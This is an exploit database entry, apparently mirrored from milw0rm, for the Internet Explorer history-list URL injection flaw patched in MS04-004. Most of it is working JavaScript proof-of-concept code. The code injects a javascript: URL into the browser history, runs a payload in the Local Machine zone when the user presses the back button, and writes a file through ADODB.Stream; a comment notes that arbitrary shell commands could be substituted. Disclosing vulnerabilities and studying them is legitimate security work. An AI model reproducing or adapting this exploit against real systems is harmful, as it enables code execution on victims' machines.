Microsoft Internet Explorer - URL Injection in History List (MS04-004)

🗓️ 04 Feb 2004 00:00:00Reported by Andreas SandbladType

Exploit allows local code execution through URL injection in Internet Explorer history list.

// Andreas Sandblad, 2004-02-03, patched by MS04-004

// Name:     payload
// Purpose:  Run payload code called from Local Machine zone.
//           The code may be arbitrary such as executing shell commands.
//           This demo simply creates a harmless textfile on the desktop.
function payload() {
  file = "sandblad.txt";
  o = new ActiveXObject("ADODB.Stream");
  o.Open();
  o.Type=2;
  o.Charset="ascii";
  o.WriteText("You are vulnerable!");
  o.SaveToFile(file, 2);
  o.Close();
  alert("File "+file+" created on desktop!");
}

// Name:     trigger
// Purpose:  Inject javascript url in history list and run payload
//           function when the user hits the backbutton.
function trigger(len) {
  if (history.length != len)
    payload();
  else
    return "<title>-</title><body
onload=external.NavigateAndFind('res:','','')>";
}

// Name:    backbutton
// Purpose: Run backbutton exploit.
function backbutton() {
  location = 'javascript:'+trigger+payload+'trigger('+history.length+')';
}

// Launch backbutton exploit on load
if (confirm("Press OK to run backbutton exploit!"))
  backbutton();


# milw0rm.com [2004-02-04]

04 Feb 2004 00:00Current

7.4High risk

Vulners AI Score7.4